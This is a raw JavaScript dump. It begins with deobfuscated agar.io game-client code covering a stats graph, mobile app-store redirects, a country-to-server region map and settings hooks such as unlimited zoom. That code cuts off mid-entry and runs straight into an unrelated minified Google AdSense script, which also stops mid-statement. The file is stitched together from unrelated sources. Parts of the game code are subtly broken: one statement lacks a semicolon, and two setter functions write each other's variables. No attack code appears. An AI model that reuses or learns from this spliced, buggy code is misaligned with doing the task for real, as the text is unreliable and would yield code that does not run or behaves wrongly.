$('.stats-leaderboard-time').text(__unmatched_50(__unmatched_145)); $('.stats-highest-mass').text(~~(g_maxScore / 100)); $('.stats-cells-eaten').text(__unmatched_146); $('.stats-top-position').text(0 == g_mode ? ':(' : g_mode); var g_height = document.getElementById('statsGraph'); if (g_height) { var pointsAcc = g_height.getContext('2d'); var scale = g_height.width; var g_height = g_height.height; pointsAcc.clearRect(0, 0, scale, g_height); if (2 < cached.length) { for (var __unmatched_298 = 200, i = 0; i < cached.length; i++) { __unmatched_298 = Math.max(cached[i], __unmatched_298); } pointsAcc.lineWidth = 3; pointsAcc.lineCap = 'round'; pointsAcc.lineJoin = 'round'; pointsAcc.strokeStyle = __unmatched_140; pointsAcc.fillStyle = __unmatched_140; pointsAcc.beginPath(); pointsAcc.moveTo(0, g_height - cached[0] / __unmatched_298 * (g_height - 10) + 10); for (i = 1; i < cached.length; i += Math.max(~~(cached.length / scale), 1)) { for (var __unmatched_300 = i / (cached.length - 1) * scale, __unmatched_301 = [], __unmatched_302 = -20; 20 >= __unmatched_302; ++__unmatched_302) { if (!(0 > i + __unmatched_302 || i + __unmatched_302 >= cached.length)) { __unmatched_301.push(cached[i + __unmatched_302]); } } __unmatched_301 = __unmatched_301.reduce(function(__unmatched_303, __unmatched_304) { return __unmatched_303 + __unmatched_304; }) / __unmatched_301.length / __unmatched_298; pointsAcc.lineTo(__unmatched_300, g_height - __unmatched_301 * (g_height - 10) + 10); } pointsAcc.stroke(); pointsAcc.globalAlpha = 0.5; pointsAcc.lineTo(scale, g_height); pointsAcc.lineTo(0, g_height); pointsAcc.fill(); pointsAcc.globalAlpha = 1; } } } if (!window.agarioNoInit) { var __unmatched_53 = window.location.protocol; var g_secure = 'https:' == __unmatched_53; if (g_secure && -1 == window.location.search.indexOf('fb')) { window.location.href = 'http://agar.io/'; } else { var items = window.navigator.userAgent; if (-1 != items.indexOf('Android')) { if (window.ga) { window.ga('send', 'event', 'MobileRedirect', 'PlayStore'); } setTimeout(function() { window.location.href = 'https://play.google.com/store/apps/details?id=com.miniclip.agar.io'; }, 1000); } else if (-1 != items.indexOf('iPhone') || -1 != items.indexOf('iPad') || -1 != items.indexOf('iPod')) { if (window.ga) { window.ga('send', 'event', 'MobileRedirect', 'AppStore'); } setTimeout(function() { window.location.href = 'https://itunes.apple.com/app/agar.io/id995999703?mt=8&at=1l3vajp'; }, 1000); } else { var g_canvas_; var g_context; var g_canvas; var g_protocol; var __unmatched_60; var g_pointTree = null; var points = null; var g_viewX = 0; var g_viewY = 0; var g_playerCellIds = []; var g_playerCells = []; var g_cellsById = {}; var g_cells = []; var g_destroyedCells = []; var g_scoreEntries = []; var g_mouseX = 0; var g_mouseY = 0; var g_moveX = -1; var g_moveY = -1; var __unmatched_75 = 0; var g_time = 0; var __unmatched_77 = 0; var g_nick = null; var g_minX = 0; var g_minY = 0; var g_maxX = 10000; var g_maxY = 10000; var g_scale = 1; var g_region = null; var g_showSkins = true; var g_showNames = true; var g_noColors = false; var __unmatched_88 = false; var g_maxScore = 0; var g_showMass = false; var g_darkTheme = true; var g_viewX_ = g_viewX = ~~((g_minX + g_maxX) / 2); var g_viewY_ = g_viewY = ~~((g_minY + g_maxY) / 2); var g_scale_ = 1; var __unmatched_95 = ''; var g_scorePartitions = null; var g_drawLines = false; var g_ready = false; var g_linesY_ = 0; var g_linesX_ = 0; var g_linesX = 0; var g_linesY = 0; var g_ABGroup = 0; var g_teamColors = [ '#333333', '#FF3333', '#33FF33', '#3333FF' ]; var g_showTrails = false; var g_connectSuccessful = false; var __unmatched_107 = 0; var __unmatched_108 = null; var g_zoom = 1; var qkeyDown = 1; var g_playerCellDestroyed = false; var __unmatched_112 = 0; var __unmatched_113 = {}; (function() { var point = window.location.search; if ('?' == point.charAt(0)) { point = point.slice(1); } for (var point = point.split('&'), __unmatched_306 = 0; __unmatched_306 < point.length; __unmatched_306++) { var parts = point[__unmatched_306].split('='); __unmatched_113[parts[0]] = parts[1]; } }()); var g_touchCapable = 'ontouchstart' in window && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(window.navigator.userAgent); var g_splitImage = new Image(); g_splitImage.src = 'img/split.png'; var canvasTest = document.createElement('canvas'); if ('undefined' == typeof console || 'undefined' == typeof DataView || 'undefined' == typeof WebSocket || null == canvasTest || null == canvasTest.getContext || null == window.localStorage) { alert('You browser does not support this game, we recommend you to use Firefox to play this'); } else { var g_regionLabels = null; window.setNick = function(val) { HideOverlay(); g_nick = val; SendNick(); g_maxScore = 0; }; window.setRegion = SetRegion; window.setSkins = function(val) { g_showSkins = val; }; window.setUnlimitedZoom = function(val) { isUnlimitedZoom = val; }; window.setNames = function(val) { g_showNames = val; }; window.setDarkTheme = function(val) { g_showMass = val; }; window.setColors = function(val) { g_noColors = val; }; window.setShowMass = function(val) { g_darkTheme = val; }; window.spectate = function(val) { isSpectating = val g_nick = null; SendCmd(1); HideOverlay(); }; window.setLargeBlobBorders = function(val) { isLargeBlobBorders = val; } window.setLargeNames = function(val) { isLargeNames = val; } window.setVirusTransparent = function(val){ isVirusTransparent = val; } window.nicksChange = function() { var name = $("#nicks").children("option").filter(":selected").text(); $("#nick").val(name); if (-1 != g_skinNamesA.indexOf(name)) { $("#preview").attr("src", "skins/" + name + ".png"); } }; window.getMapStartX = function() { return g_minX; } window.getMapStartY = function() { return g_minY; } window.getMapEndX = function() { return g_maxX; } window.getMapEndY = function() { return g_maxY; } window.setGameMode = function(val) { if (val != __unmatched_95) { if (':party' == __unmatched_95) { $('#helloContainer').attr('data-party-state', '0'); } Render(val); if (':party' != val) { Start(); } } }; window.setAcid = function(val) { g_showTrails = val; }; if (null != window.localStorage) { if (null == window.localStorage.AB9) { window.localStorage.AB9 = 0 + ~~(100 * Math.random()); } g_ABGroup = +window.localStorage.AB9; window.ABGroup = g_ABGroup; } $.get(__unmatched_53 + '//gc.agar.io', function(code) { var __unmatched_317 = code.split(' '); code = __unmatched_317[0]; __unmatched_317 = __unmatched_317[1] || ''; if (-1 == ['UA'].indexOf(code)) { g_skinNamesA.push('ussr'); } if (g_regionsByCC.hasOwnProperty(code)) { if ('string' == typeof g_regionsByCC[code]) { if (!g_region) { SetRegion(g_regionsByCC[code]); } else if (g_regionsByCC[code].hasOwnProperty(__unmatched_317)) { if (!g_region) { SetRegion(g_regionsByCC[code][__unmatched_317]); } } } } }, 'text'); if (window.ga) { window.ga('send', 'event', 'User-Agent', window.navigator.userAgent, { nonInteraction: 1 }); } var g_canRefreshAds = true; var g_refreshAdsCooldown = 0; var g_regionsByCC = { AF: 'JP-Tokyo', AX: 'EU-London', AL: 'EU-London', DZ: 'EU-London', AS: 'SG-Singapore', AD: 'EU-London', AO: 'EU-London', AI: 'US-Atlanta', AG: 'US-Atlanta', AR: 'BR-Brazil', AM: 'JP-Tokyo', AW: 'US-Atlanta', AU: 'SG-Singapore', AT: 'EU-London', AZ: 'JP-Tokyo', BS: 'US-Atlanta', BH: 'JP-Tokyo', BD: 'JP-Tokyo', BB: 'US-Atlanta', BY: 'EU-London', BE: 'EU-London', BZ: 'US-Atlanta', BJ: 'EU-London', BM: 'US-Atlanta', BT: 'JP-Tokyo', BO: 'BR-Brazil', BQ: 'US-Atlanta', BA: 'EU-London', BW: 'EU-London', BR: 'BR-Brazil', IO: 'JP-Tokyo', VG: 'US-Atlanta', BN: 'JP-Tokyo', BG: 'EU-London', BF: 'EU-London', BI: 'EU-London', KH: 'JP-Tokyo', CM: 'EU-London', CA: 'US-Atlanta', CV: 'EU-London', KY: 'US-Atlanta', CF: 'EU-London', TD: 'EU-London', CL: 'BR-Brazil', CN: 'CN-China', CX: 'JP-Tokyo', CC: 'JP-Tokyo', CO: 'BR-Brazil', KM: 'EU-London', CD: 'EU-London', CG: 'EU-London', CK: 'SG-Singapore', CR: 'US-Atlanta', CI: 'EU-London', HR: 'EU-London', CU: 'US-Atlanta', CW: 'US-Atlanta', CY: 'JP-Tokyo', CZ: 'EU-London', DK: 'EU-London', DJ: 'EU-London', DM: 'US-Atlanta', DO: 'US-Atlanta', EC: 'BR-Brazil', EG: 'EU-London', SV: 'US-Atlanta', GQ: 'EU-London', ER: 'EU-London', EE: 'EU-London', ET: 'EU-London', FO: 'EU-London', FK: 'BR-Brazil', FJ: 'SG-Singapore', FI: 'EU-London', FR: 'EU-London', GF: 'BR-Brazil', PF: 'SG-Singapore', GA: 'EU-London', GM: 'EU-London', GE: 'JP-Tokyo', DE: 'EU-London', GH: 'EU-London', GI: 'EU-London', GR: 'EU-London', GL: 'US-Atlanta', GD: 'US-Atlanta', GP: 'US-Atlanta', GU: 'SG-Singapore', GT: 'US-Atlanta', GG: 'EU-London', GN: 'EU-London', GW: 'EU-London', GY: 'BR-Brazil', HT: 'US-Atlanta', VA: 'EU-London', HN: 'US-Atlanta', HK: 'JP-Tokyo', HU: 'EU-London', IS: 'EU-London', IN: 'JP-Tokyo', ID: 'JP-Tokyo', IR: 'JP-Tokyo', IQ: 'JP-Tokyo', IE: 'EU-London', IM: 'EU-London', IL: 'JP-Tokyo', IT: 'EU-London', JM: 'US-Atlanta', JP: 'JP-Tokyo', JE: 'EU-London', JO: 'JP-Tokyo', KZ: 'JP-Tokyo', KE: 'EU-London', KI: 'SG-Singapore', KP: 'JP-Tokyo', KR: 'JP-Tokyo', KW: 'JP-Tokyo', KG: 'JP-Tokyo', LA: 'JP-Tokyo', LV: 'EU-London', LB: 'JP-Tokyo', LS: 'EU-London', LR: 'EU-London', LY: 'EU-London', LI: 'EU-London', LT: 'EU-London', LU: 'EU-London', MO: 'JP-Tokyo', MK: 'EU-London', MG: 'EU-London', MW: 'EU-London', MY: 'JP-Tokyo', MV: 'JP-Tokyo', ML: 'EU-London', MT: 'EU-London', MH: 'SG-Singapore', MQ: 'US-Atlanta', MR: 'EU-London', MU: 'EU-London', YT: 'EU-London', MX: 'US-Atlanta', FM: 'SG-Singapore', MD: 'EU-London', MC: 'EU-London', MN: 'JP-Tokyo', ME: 'EU-London', MS: 'US-Atlanta', MA: 'EU-London', MZ: 'EU-London', MM: 'JP-Tokyo', NA: 'EU-London', NR: 'SG-Singapore', NP: 'JP-Tokyo', NL: 'EU-London', NC: 'SG-Singapore', NZ: 'SG-Singapore', NI: 'US-Atlanta', NE: 'EU-London', NG: 'EU-London', NU: 'SG-Singapore', NF: 'SG-Singapore', MP: 'SG-Singapore', NO: 'EU-London', OM: 'JP-Tokyo', PK: 'JP-Tokyo', PW: 'SG-Singapore', PS: 'JP-Tokyo', PA: 'US-Atlanta', PG: 'SG-Singapore', PY: 'BR-Brazil', PE: 'BR-Brazil', PH: 'JP-Tokyo', PN: 'SG-Singapore', PL: 'EU-London', PT: 'EU-London', PR: 'US-Atlanta', QA: 'JP-Tokyo', RE: 'EU-London', RO: 'EU-London', RU: 'RU-Russia', RW: 'EU-London', BL: 'US-Atlanta', SH:
edipurmail / Scriptadsbygoogle.js<script> //<![CDATA[ (function(){var aa="function"==typeof Object.create?Object.create:function(a){var b=function(){};b.prototype=a;return new b},ba;if("function"==typeof Object.setPrototypeOf)ba=Object.setPrototypeOf;else{var ca;a:{var ea={a:!0},fa={};try{fa.__proto__=ea;ca=fa.a;break a}catch(a){}ca=!1}ba=ca?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}var ha=ba,ia=function(a,b){a.prototype=aa(b.prototype);a.prototype.constructor=a;if(ha)ha(a,b);else for(var c in b)if("prototype"!=c)if(Object.defineProperties){var d=Object.getOwnPropertyDescriptor(b,c);d&&Object.defineProperty(a,c,d)}else a[c]=b[c];a.Ea=b.prototype},ja="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){a!=Array.prototype&&a!=Object.prototype&&(a[b]=c.value)},ka="undefined"!=typeof window&&window===this?this:"undefined"!=typeof global&&null!=global?global:this,la=function(a,b){if(b){var c=ka;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];e in c||(c[e]={});c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ja(c,a,{configurable:!0,writable:!0,value:b})}},ma="function"==typeof Object.assign?Object.assign:function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(d)for(var e in d)Object.prototype.hasOwnProperty.call(d,e)&&(a[e]=d[e])}return a};la("Object.assign",function(a){return a||ma});la("Number.isNaN",function(a){return a?a:function(a){return"number"===typeof a&&isNaN(a)}});var l=this,na=function(a){return"string"==typeof a},r=function(a){return"number"==typeof a},oa=function(){},t=function(a){var b=typeof a;if("object"==b)if(a){if(a instanceof Array)return"array";if(a instanceof Object)return b;var c=Object.prototype.toString.call(a);if("[object Window]"==c)return"object";if("[object Array]"==c||"number"==typeof a.length&&"undefined"!=typeof a.splice&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==c||"undefined"!=typeof a.call&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("call"))return"function"}else return"null";else if("function"==b&&"undefined"==typeof a.call)return"object";return b},pa=function(a){var b=typeof a;return"object"==b&&null!=a||"function"==b},qa=function(a,b,c){return a.call.apply(a.bind,arguments)},ra=function(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var c=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.apply(b,arguments)}},sa=function(a,b,c){Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?sa=qa:sa=ra;return sa.apply(null,arguments)},ta=function(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var b=c.slice();b.push.apply(b,arguments);return a.apply(this,b)}},ua=function(a,b){function c(){}c.prototype=b.prototype;a.Ea=b.prototype;a.prototype=new c;a.prototype.constructor=a;a.Fa=function(a,c,f){for(var d=Array(arguments.length-2),e=2;e<arguments.length;e++)d[e-2]=arguments[e];return b.prototype[c].apply(a,d)}};var va=(new Date).getTime();var wa=document,v=window;var xa={"120x90":!0,"160x90":!0,"180x90":!0,"200x90":!0,"468x15":!0,"728x15":!0},ya=function(a,b){if(15==b){if(728<=a)return 728;if(468<=a)return 468}else if(90==b){if(200<=a)return 200;if(180<=a)return 180;if(160<=a)return 160;if(120<=a)return 120}return null};var za=function(a,b){a=parseInt(a,10);return isNaN(a)?b:a},Aa=/^([\w-]+\.)*([\w-]{2,})(:[0-9]+)?$/,Ba=function(a,b){return a?(a=a.match(Aa))?a[0]:b:b};var Ca=za("468",0);var Da=function(a,b){for(var c=a.length,d=na(a)?a.split(""):a,e=0;e<c;e++)e in d&&b.call(void 0,d[e],e,a)},Ea=function(a){return Array.prototype.concat.apply([],arguments)};var Fa=function(a,b){for(var c in a)if(b.call(void 0,a[c],c,a))return c};var Ha=function(){this.j="";this.l=Ga};Ha.prototype.na=!0;Ha.prototype.aa=function(){return this.j};var Ia=function(a){if(a instanceof Ha&&a.constructor===Ha&&a.l===Ga)return a.j;t(a);return"type_error:TrustedResourceUrl"},Ga={};var Ja=function(a){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(a)[1]},Ra=function(a){if(!Ka.test(a))return a;-1!=a.indexOf("&")&&(a=a.replace(La,"&amp;"));-1!=a.indexOf("<")&&(a=a.replace(Ma,"&lt;"));-1!=a.indexOf(">")&&(a=a.replace(Na,"&gt;"));-1!=a.indexOf('"')&&(a=a.replace(Oa,"&quot;"));-1!=a.indexOf("'")&&(a=a.replace(Pa,"&#39;"));-1!=a.indexOf("\x00")&&(a=a.replace(Qa,"&#0;"));return a},La=/&/g,Ma=/</g,Na=/>/g,Oa=/"/g,Pa=/'/g,Qa=/\x00/g,Ka=/[\x00&<>"']/,Sa={"\x00":"\\0","\b":"\\b","\f":"\\f","\n":"\\n","\r":"\\r","\t":"\\t","\x0B":"\\x0B",'"':'\\"',"\\":"\\\\","<":"<"},Ta={"'":"\\'"},Ua=function(a){return String(a).replace(/\-([a-z])/g,function(a,c){return c.toUpperCase()})};var Wa=function(){this.ba="";this.wa=Va};Wa.prototype.na=!0;Wa.prototype.aa=function(){return this.ba};var Xa=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i,Va={},Ya=function(a){var b=new Wa;b.ba=a;return b};Ya("about:blank");var Za;a:{var $a=l.navigator;if($a){var ab=$a.userAgent;if(ab){Za=ab;break a}}Za=""}var w=function(a){return-1!=Za.indexOf(a)};var bb=function(a){var b=!1,c;return function(){b||(c=a(),b=!0);return c}},cb=function(){var a=oa;return function(){if(a){var b=a;a=null;b()}}};var eb=function(a){db();var b=new Ha;b.j=a;return b},db=oa;var fb=function(a){fb[" "](a);return a};fb[" "]=oa;var gb=w("Opera"),hb=-1!=Za.toLowerCase().indexOf("webkit")&&!w("Edge");var ib=/^[\w+/_-]+[=]{0,2}$/,jb=function(){var a=l.document.querySelector("script[nonce]");if(a&&(a=a.nonce||a.getAttribute("nonce"))&&ib.test(a))return a};var x=function(a){try{var b;if(b=!!a&&null!=a.location.href)a:{try{fb(a.foo);b=!0;break a}catch(c){}b=!1}return b}catch(c){return!1}},kb=function(a,b){var c=[l.top],d=[],e=0;b=b||1024;for(var f;f=c[e++];){a&&!x(f)||d.push(f);try{if(f.frames)for(var g=f.frames.length,h=0;h<g&&c.length<b;++h)c.push(f.frames[h])}catch(k){}}return d},lb=function(a,b){var c=a.createElement("script");b=eb(b);c.src=Ia(b);(a=a.getElementsByTagName("script")[0])&&a.parentNode&&a.parentNode.insertBefore(c,a)},y=function(a,b){return b.getComputedStyle?b.getComputedStyle(a,null):a.currentStyle},mb=function(a){if(!a.crypto)return Math.random();try{var b=new Uint32Array(1);a.crypto.getRandomValues(b);return b[0]/65536/65536}catch(c){return Math.random()}},nb=function(a,b){if(a)for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&&b.call(void 0,a[c],c,a)},ob=function(a){var b=a.length;if(0==b)return 0;for(var c=305419896,d=0;d<b;d++)c^=(c<<5)+(c>>2)+a.charCodeAt(d)&4294967295;return 0<c?c:4294967296+c},pb=bb(function(){return-1!=Za.indexOf("Google Web Preview")||1E-4>Math.random()}),qb=/^([0-9.]+)px$/,rb=/^(-?[0-9.]{1,30})$/,sb=function(a){return rb.test(a)&&(a=Number(a),!isNaN(a))?a:null},tb=function(a,b){return b?!/^false$/.test(a):/^true$/.test(a)},A=function(a){return(a=qb.exec(a))?+a[1]:null};var ub=function(){return"r20180214"},vb=tb("false",!1),wb=tb("false",!1),xb=tb("false",!1),yb=xb||!wb;var zb=function(){return Ba("","googleads.g.doubleclick.net")};var Ab=function(a){this.j=a||l.document||document};var Bb=function(a,b,c){a.addEventListener?a.addEventListener(b,c,void 0):a.attachEvent&&a.attachEvent("on"+b,c)},Cb=function(a,b,c){a.removeEventListener?a.removeEventListener(b,c,void 0):a.detachEvent&&a.detachEvent("on"+b,c)};var Db=function(a){a=a||l;var b=a.context;if(!b)try{b=a.parent.context}catch(c){}try{if(b&&"pageViewId"in b&&"canonicalUrl"in b)return b}catch(c){}return null},Eb=function(a){a=a||Db();if(!a)return null;a=a.master;return x(a)?a:null};var Fb=function(a,b){l.google_image_requests||(l.google_image_requests=[]);var c=l.document.createElement("img");if(b){var d=function(a){b(a);Cb(c,"load",d);Cb(c,"error",d)};Bb(c,"load",d);Bb(c,"error",d)}c.src=a;l.google_image_requests.push(c)};var Gb=Object.prototype.hasOwnProperty,Hb=function(a,b){for(var c in a)Gb.call(a,c)&&b.call(void 0,a[c],c,a)},Ib=Object.assign||function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(d)for(var e in d)Gb.call(d,e)&&(a[e]=d[e])}return a},Jb=function(a){return!(!a||!a.call)&&"function"===typeof a},Kb=function(a,b){for(var c=1,d=arguments.length;c<d;++c)a.push(arguments[c])},Lb=function(a,b){if(a.indexOf)return a=a.indexOf(b),0<a||0===a;for(var c=0;c<a.length;c++)if(a[c]===b)return!0;return!1},Mb=function(a){a=Eb(Db(a))||a;a.google_unique_id?++a.google_unique_id:a.google_unique_id=1},Nb=!!window.google_async_iframe_id,Ob=Nb&&window.parent||window,Pb=function(){if(Nb&&!x(Ob)){var a="."+wa.domain;try{for(;2<a.split(".").length&&!x(Ob);)wa.domain=a=a.substr(a.indexOf(".")+1),Ob=window.parent}catch(b){}x(Ob)||(Ob=window)}return Ob},Qb=/(^| )adsbygoogle($| )/,Rb=function(a){a=vb&&a.google_top_window||a.top;return x(a)?a:null};var B=function(a,b){a=a.google_ad_modifications;return Lb(a?a.eids||[]:[],b)},C=function(a,b){a=a.google_ad_modifications;return Lb(a?a.loeids||[]:[],b)},Sb=function(a,b,c){if(!a)return null;for(var d=0;d<a.length;++d)if((a[d].ad_slot||b)==b&&(a[d].ad_tag_origin||c)==c)return a[d];return null};var Tb={overlays:1,interstitials:2,vignettes:2,inserts:3,immersives:4,list_view:5,full_page:6};var Ub=function(a){for(var b=[],c=0,d=0;d<a.length;d++){var e=a.charCodeAt(d);255<e&&(b[c++]=e&255,e>>=8);b[c++]=e}return b};var Vb=w("Safari")&&!((w("Chrome")||w("CriOS"))&&!w("Edge")||w("Coast")||w("Opera")||w("Edge")||w("Silk")||w("Android"))&&!(w("iPhone")&&!w("iPod")&&!w("iPad")||w("iPad")||w("iPod"));var Wb=null,Xb=null,Yb=w("Gecko")&&!(-1!=Za.toLowerCase().indexOf("webkit")&&!w("Edge"))&&!(w("Trident")||w("MSIE"))&&!w("Edge")||hb&&!Vb||gb||"function"==typeof l.btoa,Zb=function(a,b){if(!Wb){Wb={};Xb={};for(var c=0;65>c;c++)Wb[c]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".charAt(c),Xb[c]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.".charAt(c)}b=b?Xb:Wb;c=[];for(var d=0;d<a.length;d+=3){var e=a[d],f=d+1<a.length,g=f?a[d+1]:0,h=d+2<a.length,k=h?a[d+2]:0,m=e>>2;e=(e&3)<<4|g>>4;g=(g&15)<<2|k>>6;k&=63;h||(k=64,f||(g=64));c.push(b[m],b[e],b[g],b[k])}return c.join("")};var D=function(){},$b="function"==typeof Uint8Array,cc=function(a,b,c){a.j=null;b||(b=[]);a.C=void 0;a.s=-1;a.l=b;a:{if(a.l.length){b=a.l.length-1;var d=a.l[b];if(d&&"object"==typeof d&&"array"!=t(d)&&!($b&&d instanceof Uint8Array)){a.v=b-a.s;a.o=d;break a}}a.v=Number.MAX_VALUE}a.A={};if(c)for(b=0;b<c.length;b++)d=c[b],d<a.v?(d+=a.s,a.l[d]=a.l[d]||ac):(bc(a),a.o[d]=a.o[d]||ac)},ac=[],bc=function(a){var b=a.v+a.s;a.l[b]||(a.o=a.l[b]={})},E=function(a,b){if(b<a.v){b+=a.s;var c=a.l[b];return c===ac?a.l[b]=[]:c}if(a.o)return c=a.o[b],c===ac?a.o[b]=[]:c},dc=function(a,b){if(b<a.v){b+=a.s;var c=a.l[b];return c===ac?a.l[b]=[]:c}c=a.o[b];return c===ac?a.o[b]=[]:c},ec=function(a,b,c){a.j||(a.j={});if(!a.j[c]){var d=E(a,c);d&&(a.j[c]=new b(d))}return a.j[c]},fc=function(a,b,c){a.j||(a.j={});if(!a.j[c]){for(var d=dc(a,c),e=[],f=0;f<d.length;f++)e[f]=new b(d[f]);a.j[c]=e}b=a.j[c];b==ac&&(b=a.j[c]=[]);return b},gc=function(a){if(a.j)for(var b in a.j){var c=a.j[b];if("array"==t(c))for(var d=0;d<c.length;d++)c[d]&&gc(c[d]);else c&&gc(c)}};D.prototype.toString=function(){gc(this);return this.l.toString()};var ic=function(a){cc(this,a,hc)};ua(ic,D);var hc=[4],jc=function(a){cc(this,a,null)};ua(jc,D);var kc=function(a){cc(this,a,null)};ua(kc,D);var mc=function(a){cc(this,a,lc)};ua(mc,D);var lc=[6,7,9,10];var oc=function(a){cc(this,a,nc)};ua(oc,D);var nc=[1,2,5,7],pc=function(a){cc(this,a,null)};ua(pc,D);var rc=function(a){cc(this,a,qc)};ua(rc,D);var qc=[2];var sc=function(a,b,c){c=void 0===c?{}:c;this.error=a;this.context=b.context;this.line=b.line||-1;this.msg=b.message||"";this.file=b.file||"";this.id=b.id||"jserror";this.meta=c};var tc=/^https?:\/\/(\w|-)+\.cdn\.ampproject\.(net|org)(\?|\/|$)/,uc=function(a,b){this.j=a;this.l=b},vc=function(a,b,c){this.url=a;this.j=b;this.oa=!!c;this.depth=r(void 0)?void 0:null};var wc=function(){this.o="&";this.s=!1;this.l={};this.v=0;this.j=[]},xc=function(a,b){var c={};c[a]=b;return[c]},zc=function(a,b,c,d,e){var f=[];nb(a,function(a,h){(a=yc(a,b,c,d,e))&&f.push(h+"="+a)});return f.join(b)},yc=function(a,b,c,d,e){if(null==a)return"";b=b||"&";c=c||",$";"string"==typeof c&&(c=c.split(""));if(a instanceof Array){if(d=d||0,d<c.length){for(var f=[],g=0;g<a.length;g++)f.push(yc(a[g],b,c,d+1,e));return f.join(c[d])}}else if("object"==typeof a)return e=e||0,2>e?encodeURIComponent(zc(a,b,c,d,e+1)):"...";return encodeURIComponent(String(a))},Ac=function(a,b,c,d){a.j.push(b);a.l[b]=xc(c,d)},Cc=function(a,b,c,d){b=b+"//"+c+d;var e=Bc(a)-d.length;if(0>e)return"";a.j.sort(function(a,b){return a-b});d=null;c="";for(var f=0;f<a.j.length;f++)for(var g=a.j[f],h=a.l[g],k=0;k<h.length;k++){if(!e){d=null==d?g:d;break}var m=zc(h[k],a.o,",$");if(m){m=c+m;if(e>=m.length){e-=m.length;b+=m;c=a.o;break}else a.s&&(c=e,m[c-1]==a.o&&--c,b+=m.substr(0,c),c=a.o,e=0);d=null==d?g:d}}a="";null!=d&&(a=c+"trn="+d);return b+a},Bc=function(a){var b=1,c;for(c in a.l)b=c.length>b?c.length:b;return 3997-b-a.o.length-1};var Dc=function(a,b,c,d,e,f){if((d?a.v:Math.random())<(e||a.j))try{if(c instanceof wc)var g=c;else g=new wc,nb(c,function(a,b){var c=g,d=c.v++;a=xc(b,a);c.j.push(d);c.l[d]=a});var h=Cc(g,a.s,a.l,a.o+b+"&");h&&("undefined"===typeof f?Fb(h,void 0):Fb(h,f))}catch(k){}};var Ec=function(a,b){this.start=a<b?a:b;this.j=a<b?b:a};var Fc=function(a,b){this.j=b>=a?new Ec(a,b):null},Gc=function(a){var b;try{a.localStorage&&(b=parseInt(a.localStorage.getItem("google_experiment_mod"),10))}catch(c){return null}if(0<=b&&1E3>b)return b;if(pb())return null;b=Math.floor(1E3*mb(a));try{if(a.localStorage)return a.localStorage.setItem("google_experiment_mod",""+b),b}catch(c){}return null};var Hc=!1,Ic=null,Jc=function(){if(null===Ic){Ic="";try{var a="";try{a=l.top.location.hash}catch(c){a=l.location.hash}if(a){var b=a.match(/\bdeid=([\d,]+)/);Ic=b?b[1]:""}}catch(c){}}return Ic},Kc=function(a,b){var c;c=(c=Jc())?(c=c.match(new RegExp("\\b("+a.join("|")+")\\b")))?c[0]:null:null;if(c)a=c;else if(Hc)a=null;else a:{if(!pb()&&(c=Math.random(),c<b)){c=mb(l);a=a[Math.floor(c*a.length)];break a}a=null}return a};var Lc=function(){var a=l.performance;return a&&a.now&&a.timing?Math.floor(a.now()+a.timing.navigationStart):+new Date},Mc=function(){var a=void 0===a?l:a;return(a=a.performance)&&a.now?a.now():null};var Nc=function(a,b,c){this.label=a;this.type=b;this.value=c;this.duration=0;this.uniqueId=this.label+"_"+this.type+"_"+Math.random();this.slotId=void 0};var F=l.performance,Oc=!!(F&&F.mark&&F.measure&&F.clearMarks),Pc=bb(function(){var a;if(a=Oc)a=Jc(),a=!!a.indexOf&&0<=a.indexOf("1337");return a}),Rc=function(){var a=Qc;this.events=[];this.l=a||l;var b=null;a&&(a.google_js_reporting_queue=a.google_js_reporting_queue||[],this.events=a.google_js_reporting_queue,b=a.google_measure_js_timing);this.j=Pc()||(null!=b?b:1>Math.random())},Sc=function(a){a&&F&&Pc()&&(F.clearMarks("goog_"+a.uniqueId+"_start"),F.clearMarks("goog_"+a.uniqueId+"_end"))};Rc.prototype.start=function(a,b){if(!this.j)return null;var c=Mc()||Lc();a=new Nc(a,b,c);b="goog_"+a.uniqueId+"_start";F&&Pc()&&F.mark(b);return a};var Vc=function(){var a=Tc;this.A=Uc;this.s=!0;this.o=null;this.C=this.j;this.l=void 0===a?null:a;this.v=!1},Yc=function(a,b,c,d,e){try{if(a.l&&a.l.j){var f=a.l.start(b.toString(),3);var g=c();var h=a.l;c=f;if(h.j&&r(c.value)){var k=Mc()||Lc();c.duration=k-c.value;var m="goog_"+c.uniqueId+"_end";F&&Pc()&&F.mark(m);h.j&&h.events.push(c)}}else g=c()}catch(n){h=a.s;try{Sc(f),h=(e||a.C).call(a,b,new Wc(Xc(n),n.fileName,n.lineNumber),void 0,d)}catch(p){a.j(217,p)}if(!h)throw n}return g},Zc=function(a,b){var c=G;return function(d){for(var e=[],f=0;f<arguments.length;++f)e[f]=arguments[f];return Yc(c,a,function(){return b.apply(void 0,e)},void 0,void 0)}};Vc.prototype.j=function(a,b,c,d,e){e=e||"jserror";try{var f=new wc;f.s=!0;Ac(f,1,"context",a);b.error&&b.meta&&b.id||(b=new Wc(Xc(b),b.fileName,b.lineNumber));b.msg&&Ac(f,2,"msg",b.msg.substring(0,512));b.file&&Ac(f,3,"file",b.file);0<b.line&&Ac(f,4,"line",b.line);var g=b.meta||{};if(this.o)try{this.o(g)}catch(da){}if(d)try{d(g)}catch(da){}b=[g];f.j.push(5);f.l[5]=b;g=l;b=[];var 